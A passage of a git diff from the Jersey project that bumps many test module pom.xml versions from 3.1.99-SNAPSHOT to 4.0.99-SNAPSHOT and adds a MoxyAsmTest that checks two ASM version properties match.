         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance.runners</groupId>
diff --git a/tests/performance/test-cases/assemblies/pom.xml b/tests/performance/test-cases/assemblies/pom.xml
index 57be4e6..1983762 100644
--- a/tests/performance/test-cases/assemblies/pom.xml
+++ b/tests/performance/test-cases/assemblies/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>assemblies</artifactId>
diff --git a/tests/performance/test-cases/filter-dynamic/pom.xml b/tests/performance/test-cases/filter-dynamic/pom.xml
index 13fa68b..a5a330d 100644
--- a/tests/performance/test-cases/filter-dynamic/pom.xml
+++ b/tests/performance/test-cases/filter-dynamic/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-dynamic</artifactId>
diff --git a/tests/performance/test-cases/filter-global/pom.xml b/tests/performance/test-cases/filter-global/pom.xml
index b66a5b3..098ab14 100644
--- a/tests/performance/test-cases/filter-global/pom.xml
+++ b/tests/performance/test-cases/filter-global/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-global</artifactId>
diff --git a/tests/performance/test-cases/filter-name/pom.xml b/tests/performance/test-cases/filter-name/pom.xml
index df08011..0cfe5f8 100644
--- a/tests/performance/test-cases/filter-name/pom.xml
+++ b/tests/performance/test-cases/filter-name/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-name</artifactId>
diff --git a/tests/performance/test-cases/interceptor-dynamic/pom.xml b/tests/performance/test-cases/interceptor-dynamic/pom.xml
index ece2896..2050601 100644
--- a/tests/performance/test-cases/interceptor-dynamic/pom.xml
+++ b/tests/performance/test-cases/interceptor-dynamic/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-dynamic</artifactId>
diff --git a/tests/performance/test-cases/interceptor-global/pom.xml b/tests/performance/test-cases/interceptor-global/pom.xml
index 84889d3..c489ea2 100644
--- a/tests/performance/test-cases/interceptor-global/pom.xml
+++ b/tests/performance/test-cases/interceptor-global/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-global</artifactId>
diff --git a/tests/performance/test-cases/interceptor-name/pom.xml b/tests/performance/test-cases/interceptor-name/pom.xml
index 883274c..d98667d 100644
--- a/tests/performance/test-cases/interceptor-name/pom.xml
+++ b/tests/performance/test-cases/interceptor-name/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-name</artifactId>
diff --git a/tests/performance/test-cases/mbw-custom-provider/pom.xml b/tests/performance/test-cases/mbw-custom-provider/pom.xml
index f5ae2dd..b0dedef 100644
--- a/tests/performance/test-cases/mbw-custom-provider/pom.xml
+++ b/tests/performance/test-cases/mbw-custom-provider/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>custom-provider</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-jackson/pom.xml b/tests/performance/test-cases/mbw-json-jackson/pom.xml
index af23cd8..df0daf5 100644
--- a/tests/performance/test-cases/mbw-json-jackson/pom.xml
+++ b/tests/performance/test-cases/mbw-json-jackson/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jackson</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-moxy/pom.xml b/tests/performance/test-cases/mbw-json-moxy/pom.xml
index 69d90a9..7c7773d 100644
--- a/tests/performance/test-cases/mbw-json-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-json-moxy/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-moxy</artifactId>
diff --git a/tests/performance/test-cases/mbw-kryo/pom.xml b/tests/performance/test-cases/mbw-kryo/pom.xml
index 34ed136..2942556 100644
--- a/tests/performance/test-cases/mbw-kryo/pom.xml
+++ b/tests/performance/test-cases/mbw-kryo/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>mbw-kryo</artifactId>
diff --git a/tests/performance/test-cases/mbw-text-plain/pom.xml b/tests/performance/test-cases/mbw-text-plain/pom.xml
index 688c76e..1964484 100644
--- a/tests/performance/test-cases/mbw-text-plain/pom.xml
+++ b/tests/performance/test-cases/mbw-text-plain/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>text-plain</artifactId>
diff --git a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
index 95787b7..1dfd99e 100644
--- a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-jaxb</artifactId>
diff --git a/tests/performance/test-cases/mbw-xml-moxy/pom.xml b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
index d8b9ade..00b6123 100644
--- a/tests/performance/test-cases/mbw-xml-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-moxy</artifactId>
diff --git a/tests/performance/test-cases/param-srl/pom.xml b/tests/performance/test-cases/param-srl/pom.xml
index e8d46f4..2087716 100644
--- a/tests/performance/test-cases/param-srl/pom.xml
+++ b/tests/performance/test-cases/param-srl/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>param-srl</artifactId>
diff --git a/tests/performance/test-cases/pom.xml b/tests/performance/test-cases/pom.xml
index 65445f2..293bfe9 100644
--- a/tests/performance/test-cases/pom.xml
+++ b/tests/performance/test-cases/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
diff --git a/tests/performance/test-cases/proxy-injection/pom.xml b/tests/performance/test-cases/proxy-injection/pom.xml
index f1ce0a6..2d2a508 100644
--- a/tests/performance/test-cases/proxy-injection/pom.xml
+++ b/tests/performance/test-cases/proxy-injection/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>proxy-injection</artifactId>
diff --git a/tests/performance/tools/pom.xml b/tests/performance/tools/pom.xml
index 41d3b95..44d39ae 100644
--- a/tests/performance/tools/pom.xml
+++ b/tests/performance/tools/pom.xml
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
     <groupId>org.glassfish.jersey.tests.performance.tools</groupId>
     <artifactId>performance-test-tools</artifactId>
diff --git a/tests/pom.xml b/tests/pom.xml
index 24f7a82..68b7502 100644
--- a/tests/pom.xml
+++ b/tests/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests</groupId>
@@ -49,8 +49,10 @@
         <module>integration</module>
         <module>mem-leaks</module>
         <module>osgi</module>
-        <module>stress</module>
+        <module>release-test</module>
         <module>performance</module>
+        <module>stress</module>
+        <module>version-agnostic</module>
     </modules>
 
     <dependencyManagement>
diff --git a/tests/release-test/pom.xml b/tests/release-test/pom.xml
index 98cc0cd..03d4781 100644
--- a/tests/release-test/pom.xml
+++ b/tests/release-test/pom.xml
@@ -23,13 +23,13 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
         <relativePath>../../pom.xml</relativePath>
     </parent>
 
     <groupId>org.glassfish.jersey.tests</groupId>
     <artifactId>release-test</artifactId>
-    <version>3.1.99-SNAPSHOT</version>
+    <version>4.0.99-SNAPSHOT</version>
     <packaging>jar</packaging>
     <name>jersey-release-test</name>
 
@@ -55,6 +55,7 @@
                     <includes>
                         <include>**/ArchetypesTest</include>
                         <include>**/NoticeFilesTest</include>
+                        <include>**/MoxyAsmTest</include>
                     </includes>
                 </configuration>
             </plugin>
@@ -108,13 +109,6 @@
             <scope>provided</scope>
         </dependency>
         <dependency>
-            <groupId>org.apache.httpcomponents</groupId>
-            <artifactId>httpclient</artifactId>
-            <version>${httpclient.version}</version>
-            <scope>test</scope>
-        </dependency>
-
-        <dependency>
             <groupId>org.apache.maven.plugin-testing</groupId>
             <artifactId>maven-plugin-testing-harness</artifactId>
             <version>${harness.testing.mvn.plugin.version}</version>
diff --git a/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java
new file mode 100644
index 0000000..0f08785
--- /dev/null
+++ b/tests/release-test/src/test/java/org/glassfish/jersey/test/artifacts/MoxyAsmTest.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (c) 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.artifacts;
+
+import org.apache.maven.model.Dependency;
+import org.apache.maven.model.Model;
+import org.junit.Assert;
+import org.junit.Ignore;
+import org.junit.Test;
+
+public class MoxyAsmTest {
+    @Test
+    public void testAsmInMoxy() throws Exception {
+        String moxyPomFile = "../../media/moxy/pom.xml";
+        Model moxyPom = MavenUtil.getModelFromFile(moxyPomFile);
+        final Dependency moxyAsmDependency = moxyPom.getDependencies().stream()
+                .filter(dependency -> dependency.getArtifactId().equals("org.eclipse.persistence.asm"))
+                .findFirst().get();
+        Model projectPom = MavenUtil.getModelFromFile("../../pom.xml");
+        final String asmVersion = projectPom.getProperties().getProperty("asm.version");
+        final String moxyAsmVersion = projectPom.getProperties().getProperty("moxy.asm.version");
+
+        final String msg = "org.eclipse.persistence.asm (moxy.asm.version) version " + moxyAsmVersion
+                + " differs from asm version (asm.version) " + asmVersion + " in /media/moxy/pom.xml";
+        Assert.assertEquals(msg, asmVersion, moxyAsmVersion);
+        System.out.println("Found expected Moxy ASM version " + moxyAsmVersion);
+    }
+}
diff --git a/tests/stress/pom.xml b/tests/stress/pom.xml
index 4a51392..7d6e660 100644
--- a/tests/stress/pom.xml
+++ b/tests/stress/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>stress</artifactId>
diff --git a/tests/version-agnostic/pom.xml b/tests/version-agnostic/pom.xml
index 552ac47..6d76dbb 100644
--- a/tests/version-agnostic/pom.xml
+++ b/tests/version-agnostic/pom.xml
@@ -38,7 +38,7 @@
         <maven.compiler.source>8</maven.compiler.source>
         <maven.compiler.target>8</maven.compiler.target>
         <hk2.version>3.0.3</hk2.version>
-        <jersey.version>3.1.6</jersey.version>
+        <jersey.version>4.0.0-M1</jersey.version>
     </properties>
 
     <build>
